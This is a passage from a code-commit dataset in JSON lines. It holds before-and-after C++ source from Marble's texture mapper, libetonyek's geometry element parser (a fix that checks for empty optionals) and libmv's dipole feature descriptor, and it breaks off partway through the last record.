m_tileLoader->tileWidth() ) \n            || m_posX < 0.0\n            || m_posY >= (qreal)( m_tileLoader->tileHeight() )\n            || m_posY < 0.0 )\n        {\n            nextTile( m_posX, m_posY );\n        }\n    \n        QRgb topLeftValue = m_tile->pixel( (int)(m_posX), (int)(m_posY) );\n        *scanLine = bilinearSmooth( topLeftValue );\n    }\n    else {\n        \/\/ Convert the lon and lat coordinates of the position on the scanline\n        \/\/ measured in radian to the pixel position of the requested \n        \/\/ coordinate on the current tile.\n\n        m_iPosX = (int)( m_toTileCoordinatesLon + rad2PixelX( lon ) );\n        m_iPosY = (int)( m_toTileCoordinatesLat + rad2PixelY( lat ) );\n\n        \/\/ Most of the time while moving along the scanLine we'll stay on the \n        \/\/ same tile. However at the tile border we might \"fall off\". If that \n        \/\/ happens we need to find out the next tile that needs to be loaded.\n    \n        if ( m_iPosX  >= m_tileLoader->tileWidth() \n            || m_iPosX < 0\n            || m_iPosY >= m_tileLoader->tileHeight()\n            || m_iPosY < 0 )\n        {\n            nextTile( m_iPosX, m_iPosY );\n        }\n    \n        *scanLine = m_tile->pixel( m_iPosX, m_iPosY ); \n    }\n}\n\nvoid AbstractScanlineTextureMapper::nextTile( int &posX, int &posY )\n{\n    \/\/ Move from tile coordinates to global texture coordinates \n    \/\/ ( with origin in upper left corner, measured in pixel) \n\n    int lon = posX + m_tilePosX;\n    if ( lon > m_maxGlobalX ) lon -= m_maxGlobalX;\n    if ( lon < 0 ) lon += m_maxGlobalX;\n\n    int lat = posY + m_tilePosY;\n    if ( lat > m_maxGlobalY ) lat -= m_maxGlobalY;\n    if ( lat < 0 ) lat += m_maxGlobalY;\n\n    \/\/ tileCol counts the tile columns left from the current tile.\n    \/\/ tileRow counts the tile rows on the top from the current tile.\n\n    int tileCol = lon \/ m_tileLoader->tileWidth();\n    int tileRow = lat \/ m_tileLoader->tileHeight();\n\n    m_tile = m_tileLoader->loadTile( tileCol, tileRow, m_tileLevel );\n\n    \/\/ Update position variables:\n    \/\/ m_tilePosX\/Y stores the position of the tiles in \n    \/\/ global texture coordinates \n    \/\/ ( origin upper left, measured in pixels )\n\n    m_tilePosX = tileCol * m_tileLoader->tileWidth();\n    m_toTileCoordinatesLon = (qreal)(m_globalWidth \/ 2 - m_tilePosX);\n    posX = lon - m_tilePosX;\n\n    m_tilePosY = tileRow * m_tileLoader->tileHeight();\n    m_toTileCoordinatesLat = (qreal)(m_globalHeight \/ 2 - m_tilePosY);\n    posY = lat - m_tilePosY;\n}\n\nvoid AbstractScanlineTextureMapper::nextTile( qreal &posX, qreal &posY )\n{\n    \/\/ Move from tile coordinates to global texture coordinates \n    \/\/ ( with origin in upper left corner, measured in pixel) \n\n    int lon = (int)(posX + m_tilePosX);\n    if ( lon > m_maxGlobalX ) lon -= m_maxGlobalX;\n    if ( lon < 0 ) lon += m_maxGlobalX;\n\n    int lat = (int)(posY + m_tilePosY);\n    if ( lat > m_maxGlobalY ) lat -= m_maxGlobalY;\n    if ( lat < 0 ) lat += m_maxGlobalY;\n\n    \/\/ tileCol counts the tile columns left from the current tile.\n    \/\/ tileRow counts the tile rows on the top from the current tile.\n\n    int tileCol = lon \/ m_tileLoader->tileWidth();\n    int tileRow = lat \/ m_tileLoader->tileHeight();\n\n    m_tile = m_tileLoader->loadTile( tileCol, tileRow, m_tileLevel );\n\n    \/\/ Update position variables:\n    \/\/ m_tilePosX\/Y stores the position of the tiles in \n    \/\/ global texture coordinates \n    \/\/ ( origin upper left, measured in pixels )\n\n    m_tilePosX = tileCol * m_tileLoader->tileWidth();\n    m_toTileCoordinatesLon = (qreal)(m_globalWidth \/ 2 - m_tilePosX);\n    posX = lon - m_tilePosX;\n\n    m_tilePosY = tileRow * m_tileLoader->tileHeight();\n    m_toTileCoordinatesLat = (qreal)(m_globalHeight \/ 2 - m_tilePosY);\n    posY = lat - m_tilePosY;\n}\n\nvoid AbstractScanlineTextureMapper::notifyMapChanged()\n{\n    detectMaxTileLevel();\n\/\/    qDebug() << \"MAPCHANGED\";\n    emit mapChanged();\n}\n\nvoid AbstractScanlineTextureMapper::detectMaxTileLevel()\n{\n    m_maxTileLevel = TileLoader::maxPartialTileLevel( m_tileLoader->layer() ) + 1 ;\n\/\/    qDebug() << \"MaxTileLevel: \" << m_maxTileLevel;\n}\n\n#include \"AbstractScanlineTextureMapper.moc\"\n<commit_msg>- Second try ... <commit_after>\/\/\n\/\/ This file is part of the Marble Desktop Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2007      Carlos Licea     <carlos _licea@hotmail.com>\n\/\/\n\n\n#include \"AbstractScanlineTextureMapper.h\"\n\n#include <QtCore\/QDebug>\n\n#include \"GeoPolygon.h\"\n#include \"GeoSceneTexture.h\"\n#include \"MarbleDirs.h\"\n#include \"TextureTile.h\"\n#include \"TileLoader.h\"\n#include \"TileLoaderHelper.h\"\n#include \"ViewParams.h\"\n\nusing namespace Marble;\n\n\/\/ Defining INTERLACE will make sure that for two subsequent scanlines\n\/\/ every second scanline will be a deep copy of the first scanline.\n\/\/ This results in a more coarse resolution and in a speedup for the \n\/\/ texture mapping of approx. 25%.\n\n\n\nAbstractScanlineTextureMapper::AbstractScanlineTextureMapper( TileLoader *tileLoader, QObject * parent )\n    : QObject( parent ),\n      m_iPosX( 0 ),\n      m_iPosY( 0 ),\n      m_posX( 0.0 ),\n      m_posY( 0.0 ),\n      m_maxGlobalX( 0 ),\n      m_maxGlobalY( 0 ),\n      m_imageHeight( 0 ),\n      m_imageWidth( 0 ),\n      m_imageRadius( 0 ),\n      m_prevLat( 0.0 ),\n      m_prevLon( 0.0 ),\n      m_toTileCoordinatesLon( 0.0 ),\n      m_toTileCoordinatesLat( 0.0 ),\n      m_interlaced( false ),\n      m_tileLoader( tileLoader ),\n      m_scanLine( 0 ),\n      m_tile( 0 ),\n      m_tileLevel( 0 ),\n      m_maxTileLevel( 0 ),\n      m_preloadTileLevel( -1 ),\n      m_previousRadius( 0 ),\n      m_tilePosX( 0 ),\n      m_tilePosY( 0 ),\n      m_globalWidth( 0 ),\n      m_globalHeight( 0 ),\n      m_normGlobalWidth( 0.0 ),\n      m_normGlobalHeight( 0.0 )\n{\n    GeoSceneTexture * texture = 0;\n\n    if ( tileLoader ) {\n        GeoSceneLayer * layer = tileLoader->layer();\n        if ( layer ) {\n            texture = static_cast<GeoSceneTexture *>( layer->groundDataset() );\n        }\n    }\n\n    m_tileProjection = tileLoader && texture\n                        ? texture->projection()\n                        : GeoSceneTexture::Equirectangular;\n\n    connect( m_tileLoader, SIGNAL( tileUpdateAvailable() ), \n             this,         SLOT( notifyMapChanged() ) );\n\n    detectMaxTileLevel();\n}\n\n\nAbstractScanlineTextureMapper::~AbstractScanlineTextureMapper()\n{\n      m_tileLoader->disconnect();\n\/\/      delete m_tileLoader;\n}\n\n\nvoid AbstractScanlineTextureMapper::setLayer( GeoSceneLayer * layer )\n{\n    m_tileLoader->setLayer( layer );\n    GeoSceneTexture * texture = static_cast<GeoSceneTexture *>( layer->groundDataset() );\n    m_tileProjection = texture->projection();\n    m_tileLevel = -1;\n    detectMaxTileLevel();\n\n    m_preloadTileLevel = -1;\n    m_previousRadius = 0;\n}\n\n\nvoid AbstractScanlineTextureMapper::selectTileLevel( ViewParams* viewParams )\n{\n    const int radius = viewParams->radius();\n\n    \/\/ As our tile resolution doubles with each level we calculate\n    \/\/ the tile level from tilesize and the globe radius via log(2)\n\n    qreal  linearLevel = ( 2.0 * (qreal)( radius )\n\t\t\t    \/ (qreal) ( m_tileLoader->tileWidth() ) );\n    int     tileLevel   = 0;\n\n    if ( linearLevel < 1.0 )\n        linearLevel = 1.0; \/\/ Dirty fix for invalid entry linearLevel\n\n    qreal tileLevelF = log( linearLevel ) \/ log( 2.0 ) + 1.0;\n    tileLevel = (int)( tileLevelF );\n\n\/\/    qDebug() << \"tileLevelF: \" << tileLevelF << \" tileLevel: \" << tileLevel;\n\n    qreal tileCol = 0.0; \n    qreal tileRow = 0.0;\n\n    if (    tileLevelF > tileLevel + 0.3 \n         && m_preloadTileLevel != tileLevel + 1\n         && m_previousRadius < radius \n         && tileLevel > 0 && tileLevel < m_maxTileLevel ) {\n\n        m_preloadTileLevel = tileLevel + 1;\n\n        centerTiles( viewParams, m_preloadTileLevel, tileCol, tileRow );\n\/\/        qDebug() << \"Preload tileLevel: \" << m_preloadTileLevel\n\/\/        << \" tileCol: \" << tileCol << \" tileRow: \" << tileRow;\n    }\n    if (    tileLevelF < tileLevel + 0.7 \n         && m_preloadTileLevel != tileLevel - 1\n         && m_previousRadius > radius \n         && tileLevel > 1 && tileLevel < m_maxTileLevel + 1 ) {\n\n        m_preloadTileLevel = tileLevel - 1;\n\n        centerTiles( viewParams, m_preloadTileLevel, tileCol, tileRow );\n\/\/        qDebug() << \"Preload tileLevel: \" << m_preloadTileLevel\n\/\/        << \" tileCol: \" << tileCol << \" tileRow: \" << tileRow;\n    }\n    if ( m_previousRadius == radius ) m_preloadTileLevel = -1;\n    else m_previousRadius = radius;\n\n    if ( tileLevel > m_maxTileLevel )\n        tileLevel = m_maxTileLevel;\n\n    if ( tileLevel != m_tileLevel ) {\n        m_tileLoader->flush();\n        tileLevelInit( tileLevel );\n    }\n}\n\n\nvoid AbstractScanlineTextureMapper::centerTiles( ViewParams *viewParams, \n    const int tileLevel, qreal& tileCol, qreal& tileRow )\n{\n    qreal centerLon, centerLat;\n    viewParams->centerCoordinates( centerLon, centerLat );\n\n    GeoSceneTexture * texture = static_cast<GeoSceneTexture *>( m_tileLoader->layer()->groundDataset() );\n\n    tileCol = TileLoaderHelper::levelToColumn( \n                                texture->levelZeroColumns(), \n                                tileLevel ) * ( 1.0 + centerLon \/ M_PI ) \/ 2.0;\n\n    tileRow = TileLoaderHelper::levelToRow( \n                                texture->levelZeroRows(),\n                                tileLevel ) * ( 0.5 - centerLat \/ M_PI );\n}\n\n\nvoid AbstractScanlineTextureMapper::tileLevelInit( int tileLevel )\n{\n    \/\/    qDebug() << \"Texture Level was set to: \" << tileLevel;\n    m_tileLevel = tileLevel;\n\n    m_globalWidth = m_tileLoader->globalWidth( m_tileLevel );\n    m_normGlobalWidth = (qreal)( m_globalWidth \/ ( 2 * M_PI ) );\n    m_globalHeight = m_tileLoader->globalHeight( m_tileLevel );\n    m_normGlobalHeight = (qreal)( m_globalHeight \/  M_PI );\n\n    m_maxGlobalX = m_globalWidth  - 1;\n    m_maxGlobalY = m_globalHeight - 1;\n\n    \/\/ These variables move the origin of global texture coordinates from \n    \/\/ the center to the upper left corner and subtract the tile position \n    \/\/ in that coordinate system. In total this equals a coordinate \n    \/\/ transformation to tile coordinates.\n  \n    m_toTileCoordinatesLon = (qreal)(m_globalWidth \/ 2 - m_tilePosX);\n    m_toTileCoordinatesLat = (qreal)(m_globalHeight \/ 2 - m_tilePosY);\n}\n\n\nvoid AbstractScanlineTextureMapper::resizeMap(int width, int height)\n{\n    m_imageHeight = height;\n    m_imageWidth  = width;\n\n    m_imageRadius = ( m_imageWidth * m_imageWidth \/ 4\n                      + m_imageHeight * m_imageHeight \/ 4 );\n}\n\nvoid AbstractScanlineTextureMapper::pixelValue(const qreal& lon,\n                                               const qreal& lat, \n                                               QRgb* scanLine,\n                                               bool smooth )\n{\n    \/\/ The same method using integers performs about 33% faster.\n    \/\/ However we need the qreal version to create the high quality mode.\n\n    if ( smooth ) {\n        \/\/ Convert the lon and lat coordinates of the position on the scanline\n        \/\/ measured in radian to the pixel position of the requested \n        \/\/ coordinate on the current tile.\n\n        m_posX = m_toTileCoordinatesLon + rad2PixelX( lon );\n        m_posY = m_toTileCoordinatesLat + rad2PixelY( lat );\n\n        \/\/ Most of the time while moving along the scanLine we'll stay on the \n        \/\/ same tile. However at the tile border we might \"fall off\". If that \n        \/\/ happens we need to find out the next tile that needs to be loaded.\n    \n        if ( m_posX  >= (qreal)( m_tileLoader->tileWidth() ) \n            || m_posX < 0.0\n            || m_posY >= (qreal)( m_tileLoader->tileHeight() )\n            || m_posY < 0.0 )\n        {\n            nextTile( m_posX, m_posY );\n        }\n    \n        QRgb topLeftValue = m_tile->pixel( (int)(m_posX), (int)(m_posY) );\n        *scanLine = bilinearSmooth( topLeftValue );\n    }\n    else {\n        \/\/ Convert the lon and lat coordinates of the position on the scanline\n        \/\/ measured in radian to the pixel position of the requested \n        \/\/ coordinate on the current tile.\n\n        m_iPosX = (int)( m_toTileCoordinatesLon + rad2PixelX( lon ) );\n        m_iPosY = (int)( m_toTileCoordinatesLat + rad2PixelY( lat ) );\n\n        \/\/ Most of the time while moving along the scanLine we'll stay on the \n        \/\/ same tile. However at the tile border we might \"fall off\". If that \n        \/\/ happens we need to find out the next tile that needs to be loaded.\n    \n        if ( m_iPosX  >= m_tileLoader->tileWidth() \n            || m_iPosX < 0\n            || m_iPosY >= m_tileLoader->tileHeight()\n            || m_iPosY < 0 )\n        {\n            nextTile( m_iPosX, m_iPosY );\n        }\n    \n        *scanLine = m_tile->pixel( m_iPosX, m_iPosY ); \n    }\n}\n\nvoid AbstractScanlineTextureMapper::nextTile( int &posX, int &posY )\n{\n    \/\/ Move from tile coordinates to global texture coordinates \n    \/\/ ( with origin in upper left corner, measured in pixel) \n\n    int lon = posX + m_tilePosX;\n    if ( lon > m_maxGlobalX ) lon -= m_maxGlobalX;\n    if ( lon < 0 ) lon += m_maxGlobalX;\n\n    int lat = posY + m_tilePosY;\n    if ( lat > m_maxGlobalY ) lat -= m_maxGlobalY;\n    if ( lat < 0 ) lat += m_maxGlobalY;\n\n    \/\/ tileCol counts the tile columns left from the current tile.\n    \/\/ tileRow counts the tile rows on the top from the current tile.\n\n    int tileCol = lon \/ m_tileLoader->tileWidth();\n    int tileRow = lat \/ m_tileLoader->tileHeight();\n\n    m_tile = m_tileLoader->loadTile( tileCol, tileRow, m_tileLevel );\n\n    \/\/ Update position variables:\n    \/\/ m_tilePosX\/Y stores the position of the tiles in \n    \/\/ global texture coordinates \n    \/\/ ( origin upper left, measured in pixels )\n\n    m_tilePosX = tileCol * m_tileLoader->tileWidth();\n    m_toTileCoordinatesLon = (qreal)(m_globalWidth \/ 2 - m_tilePosX);\n    posX = lon - m_tilePosX;\n\n    m_tilePosY = tileRow * m_tileLoader->tileHeight();\n    m_toTileCoordinatesLat = (qreal)(m_globalHeight \/ 2 - m_tilePosY);\n    posY = lat - m_tilePosY;\n}\n\nvoid AbstractScanlineTextureMapper::nextTile( qreal &posX, qreal &posY )\n{\n    \/\/ Move from tile coordinates to global texture coordinates \n    \/\/ ( with origin in upper left corner, measured in pixel) \n\n    int lon = (int)(posX + m_tilePosX);\n    if ( lon > m_maxGlobalX ) lon -= m_maxGlobalX;\n    if ( lon < 0 ) lon += m_maxGlobalX;\n\n    int lat = (int)(posY + m_tilePosY);\n    if ( lat > m_maxGlobalY ) lat -= m_maxGlobalY;\n    if ( lat < 0 ) lat += m_maxGlobalY;\n\n    \/\/ tileCol counts the tile columns left from the current tile.\n    \/\/ tileRow counts the tile rows on the top from the current tile.\n\n    int tileCol = lon \/ m_tileLoader->tileWidth();\n    int tileRow = lat \/ m_tileLoader->tileHeight();\n\n    m_tile = m_tileLoader->loadTile( tileCol, tileRow, m_tileLevel );\n\n    \/\/ Update position variables:\n    \/\/ m_tilePosX\/Y stores the position of the tiles in \n    \/\/ global texture coordinates \n    \/\/ ( origin upper left, measured in pixels )\n\n    m_tilePosX = tileCol * m_tileLoader->tileWidth();\n    m_toTileCoordinatesLon = (qreal)(m_globalWidth \/ 2 - m_tilePosX);\n    posX = lon - m_tilePosX;\n\n    m_tilePosY = tileRow * m_tileLoader->tileHeight();\n    m_toTileCoordinatesLat = (qreal)(m_globalHeight \/ 2 - m_tilePosY);\n    posY = lat - m_tilePosY;\n}\n\nvoid AbstractScanlineTextureMapper::notifyMapChanged()\n{\n    detectMaxTileLevel();\n\/\/    qDebug() << \"MAPCHANGED\";\n    emit mapChanged();\n}\n\nvoid AbstractScanlineTextureMapper::detectMaxTileLevel()\n{\n    m_maxTileLevel = TileLoader::maxPartialTileLevel( m_tileLoader->layer() ) + 1 ;\n\/\/    qDebug() << \"MaxTileLevel: \" << m_maxTileLevel;\n}\n\n#include \"AbstractScanlineTextureMapper.moc\"\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- *\/\n\/*\n * This file is part of the libetonyek project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include \"IWORKGeometryElement.h\"\n\n#include <boost\/lexical_cast.hpp>\n\n#include \"libetonyek_xml.h\"\n#include \"IWORKCollector.h\"\n#include \"IWORKDictionary.h\"\n#include \"IWORKPositionElement.h\"\n#include \"IWORKSizeElement.h\"\n#include \"IWORKToken.h\"\n#include \"IWORKXMLParserState.h\"\n\nnamespace libetonyek\n{\n\nusing boost::lexical_cast;\n\nIWORKGeometryElement::IWORKGeometryElement(IWORKXMLParserState &state)\n  : IWORKXMLElementContextBase(state)\n  , m_geometry(0)\n{\n}\n\nIWORKGeometryElement::IWORKGeometryElement(IWORKXMLParserState &state, IWORKGeometryPtr_t &geometry)\n  : IWORKXMLElementContextBase(state)\n  , m_geometry(&geometry)\n{\n}\n\nvoid IWORKGeometryElement::attribute(const int name, const char *const value)\n{\n  switch (name)\n  {\n  case IWORKToken::NS_URI_SF | IWORKToken::angle :\n    m_angle = deg2rad(lexical_cast<double>(value));\n    break;\n  case IWORKToken::NS_URI_SF | IWORKToken::aspectRatioLocked :\n    m_aspectRatioLocked = bool_cast(value);\n    break;\n  case IWORKToken::NS_URI_SF | IWORKToken::horizontalFlip :\n    m_horizontalFlip = bool_cast(value);\n    break;\n  case IWORKToken::NS_URI_SF | IWORKToken::shearXAngle :\n    m_shearXAngle = deg2rad(lexical_cast<double>(value));\n    break;\n  case IWORKToken::NS_URI_SF | IWORKToken::shearYAngle :\n    m_shearYAngle = deg2rad(lexical_cast<double>(value));\n    break;\n  case IWORKToken::NS_URI_SF | IWORKToken::sizesLocked :\n    m_sizesLocked = bool_cast(value);\n    break;\n  case IWORKToken::NS_URI_SF | IWORKToken::verticalFlip :\n    m_verticalFlip = bool_cast(value);\n    break;\n  default :\n    IWORKXMLElementContextBase::attribute(name, value);\n    break;\n  }\n}\n\nIWORKXMLContextPtr_t IWORKGeometryElement::element(const int name)\n{\n  switch (name)\n  {\n  case IWORKToken::NS_URI_SF | IWORKToken::naturalSize :\n    return makeContext<IWORKSizeElement>(getState(), m_naturalSize);\n  case IWORKToken::NS_URI_SF | IWORKToken::position :\n    return makeContext<IWORKPositionElement>(getState(), m_pos);\n  case IWORKToken::NS_URI_SF | IWORKToken::size :\n    return makeContext<IWORKSizeElement>(getState(), m_size);\n  }\n\n  return IWORKXMLContextPtr_t();\n}\n\nvoid IWORKGeometryElement::endOfElement()\n{\n  IWORKGeometryPtr_t geometry(new IWORKGeometry());\n  geometry->m_naturalSize = get(m_naturalSize);\n  geometry->m_size = bool(m_size) ? get(m_size) : get(m_naturalSize);\n  geometry->m_position = get(m_pos);\n  geometry->m_angle = m_angle;\n  geometry->m_shearXAngle = m_shearXAngle;\n  geometry->m_shearYAngle = m_shearYAngle;\n  geometry->m_horizontalFlip = m_horizontalFlip;\n  geometry->m_verticalFlip = m_verticalFlip;\n  geometry->m_aspectRatioLocked = m_aspectRatioLocked;\n  geometry->m_sizesLocked = m_sizesLocked;\n\n  if (m_geometry)\n    *m_geometry = geometry;\n  else if (isCollector())\n    getCollector().collectGeometry(geometry);\n}\n\n}\n\n\/* vim:set shiftwidth=2 softtabstop=2 expandtab: *\/\n<commit_msg>avoid use of empty optional<commit_after>\/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- *\/\n\/*\n * This file is part of the libetonyek project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include \"IWORKGeometryElement.h\"\n\n#include <boost\/lexical_cast.hpp>\n\n#include \"libetonyek_xml.h\"\n#include \"IWORKCollector.h\"\n#include \"IWORKDictionary.h\"\n#include \"IWORKPositionElement.h\"\n#include \"IWORKSizeElement.h\"\n#include \"IWORKToken.h\"\n#include \"IWORKXMLParserState.h\"\n\nnamespace libetonyek\n{\n\nusing boost::lexical_cast;\n\nIWORKGeometryElement::IWORKGeometryElement(IWORKXMLParserState &state)\n  : IWORKXMLElementContextBase(state)\n  , m_geometry(0)\n{\n}\n\nIWORKGeometryElement::IWORKGeometryElement(IWORKXMLParserState &state, IWORKGeometryPtr_t &geometry)\n  : IWORKXMLElementContextBase(state)\n  , m_geometry(&geometry)\n{\n}\n\nvoid IWORKGeometryElement::attribute(const int name, const char *const value)\n{\n  switch (name)\n  {\n  case IWORKToken::NS_URI_SF | IWORKToken::angle :\n    m_angle = deg2rad(lexical_cast<double>(value));\n    break;\n  case IWORKToken::NS_URI_SF | IWORKToken::aspectRatioLocked :\n    m_aspectRatioLocked = bool_cast(value);\n    break;\n  case IWORKToken::NS_URI_SF | IWORKToken::horizontalFlip :\n    m_horizontalFlip = bool_cast(value);\n    break;\n  case IWORKToken::NS_URI_SF | IWORKToken::shearXAngle :\n    m_shearXAngle = deg2rad(lexical_cast<double>(value));\n    break;\n  case IWORKToken::NS_URI_SF | IWORKToken::shearYAngle :\n    m_shearYAngle = deg2rad(lexical_cast<double>(value));\n    break;\n  case IWORKToken::NS_URI_SF | IWORKToken::sizesLocked :\n    m_sizesLocked = bool_cast(value);\n    break;\n  case IWORKToken::NS_URI_SF | IWORKToken::verticalFlip :\n    m_verticalFlip = bool_cast(value);\n    break;\n  default :\n    IWORKXMLElementContextBase::attribute(name, value);\n    break;\n  }\n}\n\nIWORKXMLContextPtr_t IWORKGeometryElement::element(const int name)\n{\n  switch (name)\n  {\n  case IWORKToken::NS_URI_SF | IWORKToken::naturalSize :\n    return makeContext<IWORKSizeElement>(getState(), m_naturalSize);\n  case IWORKToken::NS_URI_SF | IWORKToken::position :\n    return makeContext<IWORKPositionElement>(getState(), m_pos);\n  case IWORKToken::NS_URI_SF | IWORKToken::size :\n    return makeContext<IWORKSizeElement>(getState(), m_size);\n  }\n\n  return IWORKXMLContextPtr_t();\n}\n\nvoid IWORKGeometryElement::endOfElement()\n{\n  IWORKGeometryPtr_t geometry(new IWORKGeometry());\n  if (m_naturalSize)\n  {\n    geometry->m_naturalSize = get(m_naturalSize);\n    geometry->m_size = get(m_naturalSize);\n  }\n  if (m_size)\n    geometry->m_size = get(m_size);\n  if (m_pos)\n    geometry->m_position = get(m_pos);\n  geometry->m_angle = m_angle;\n  geometry->m_shearXAngle = m_shearXAngle;\n  geometry->m_shearYAngle = m_shearYAngle;\n  geometry->m_horizontalFlip = m_horizontalFlip;\n  geometry->m_verticalFlip = m_verticalFlip;\n  geometry->m_aspectRatioLocked = m_aspectRatioLocked;\n  geometry->m_sizesLocked = m_sizesLocked;\n\n  if (m_geometry)\n    *m_geometry = geometry;\n  else if (isCollector())\n    getCollector().collectGeometry(geometry);\n}\n\n}\n\n\/* vim:set shiftwidth=2 softtabstop=2 expandtab: *\/\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010 libmv authors.\r\n\/\/\r\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\r\n\/\/ of this software and associated documentation files (the \"Software\"), to\r\n\/\/ deal in the Software without restriction, including without limitation the\r\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\r\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\r\n\/\/ furnished to do so, subject to the following conditions:\r\n\/\/\r\n\/\/ The above copyright notice and this permission notice shall be included in\r\n\/\/ all copies or substantial portions of the Software.\r\n\/\/\r\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\r\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\r\n\/\/ IN THE SOFTWARE.\r\n\r\n#include \"libmv\/base\/vector.h\"\r\n#include \"libmv\/logging\/logging.h\"\r\n#include \"libmv\/descriptor\/descriptor.h\"\r\n#include \"libmv\/descriptor\/vector_descriptor.h\"\r\n#include \"libmv\/correspondence\/feature.h\"\r\n#include \"libmv\/image\/convolve.h\"\r\n#include \"libmv\/image\/image.h\"\r\n#include \"libmv\/image\/sample.h\"\r\n#include <cmath>\r\n\r\nnamespace libmv {\r\nnamespace descriptor {\r\n\r\n\/\/\r\n\/\/ Note :\r\n\/\/ - Angle is in radian.\r\n\/\/ - data the output array (must be allocated to 20 values).\r\ntemplate <typename TImage,typename T>\r\nvoid PickDipole(const TImage & image, float x, float y, float scale,\n                double angle, T * data) {\r\n\r\n  \/\/ Setup the rotation center.\r\n  float & cx = x, & cy = y;\r\n\r\n  double lambda1 = scale;\r\n  double lambda2 = lambda1 \/ 2.0;\n  double angleSubdiv = 2.0 * M_PI \/ 12.0;\n\r\n  Vecf dipoleF1(12);\r\n  for (int i = 0; i < 12; ++i)  {\r\n    float xi = cx + lambda1 * cos(angle + i * angleSubdiv);\r\n    float yi = cy + lambda1 * sin(angle + i * angleSubdiv);\r\n    float s1 = 0.0f;\r\n    if (image.Contains(yi,xi) ) {\r\n      \/\/ Bilinear interpolation\r\n      s1 = SampleLinear(image, yi, xi);\r\n    }\r\n    dipoleF1(i) = s1;\r\n  }\r\n  Matf A(8,12);\r\n  A <<  0, 0, 0, 1, 0, 0, 0, 0, 0,-1, 0, 0,\r\n        0,-1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0,\r\n        0, 0, 0, 0, 0,-1, 0, 0, 0, 0, 0, 1,\r\n        0, 0, 0, 0, 1, 0, 0,-1, 0, 0, 0, 0,\r\n        0, 0, 0, 0, 0, 0, 1, 0, 0,-1, 0, 0,\r\n        0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0,-1,\r\n        0,-1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0,\r\n        1, 0, 0,-1, 0, 0, 0, 0, 0, 0, 0, 0;\r\n\r\n  \/\/ Add the second order F2 dipole\r\n  Vecf dipoleF2(12);\r\n  for (int i = 0; i < 12; ++i)  {\n    double angleSample = i * angleSubdiv;\r\n    float xi = cx + (lambda1 + lambda2) * cos(angle + angleSample);\r\n    float yi = cy + (lambda1 + lambda2) * sin(angle + angleSample);\r\n\r\n    float xii = cx + (lambda1 - lambda2) * cos(angle + angleSample);\r\n    float yii = cy + (lambda1 - lambda2) * sin(angle + angleSample);\r\n\r\n    float s1 = 0.0f;\r\n    if (image.Contains(yi,xi) && image.Contains(yii,xii)) {\r\n      \/\/ Bilinear interpolation\r\n      s1 = SampleLinear(image, yi, xi) - SampleLinear(image, yii, xii);\r\n    }\r\n    dipoleF2(i) = s1;\r\n  }\r\n\r\n  (*data).template block<8,1>(0,0) = A * dipoleF1;\n  (*data).template block<12,1>(8,0) = dipoleF2;\r\n  \/\/ Normalize to be affine luminance invariant (a*I(x,y)+b).\r\n  (*data).normalize();\r\n}\r\n\r\nclass DipoleDescriber : public Describer {\r\n public:\r\n  virtual void Describe(const vector<Feature *> &features,\r\n                        const Image &image,\r\n                        const detector::DetectorData *detector_data,\r\n                        vector<Descriptor *> *descriptors) {\r\n    (void) detector_data; \/\/ There is no matching detector for DipoleDescriptor.\r\n\r\n    const int DIPOLE_DESC_SIZE = 20;\r\n    descriptors->resize(features.size());\r\n    for (int i = 0; i < features.size(); ++i) {\r\n      PointFeature *point = dynamic_cast<PointFeature *>(features[i]);\r\n      VecfDescriptor *descriptor = NULL;\r\n      if (point) {\r\n        descriptor = new VecfDescriptor(DIPOLE_DESC_SIZE);\r\n        PickDipole( *(image.AsArray3Du()),\r\n                  point->x(),\r\n                  point->y(),\r\n                  point->scale,\r\n                  point->orientation,\r\n                  &(descriptor->coords));\r\n      }\r\n      (*descriptors)[i] = descriptor;\r\n    }\r\n  }\r\n};\r\n\r\nDescriber *CreateDipoleDescriber() {\r\n  return new DipoleDescriber;\r\n}\r\n\r\n}  \/\/ namespace descriptor\r\n}  \/\/ namespace libmv\r\n<commit_msg>Fix misunderstanding about the normalization of the descriptor.<commit_after>\/\/ Copyright (c) 2010 libmv authors.\r\n\/\/\r\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\r\n\/\/ of this software and associated documentation files (the \"Software\"), to\r\n\/\/ deal in the Software without restriction, including without limitation the\r\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\r\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\r\n\/\/ furnished to do so, subject to the following conditions:\r\n\/\/\r\n\/\/ The above copyright notice and this permission notice shall be included in\r\n\/\/ all copies or substantial portions of the Software.\r\n\/\/\r\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/ IMPLIED, 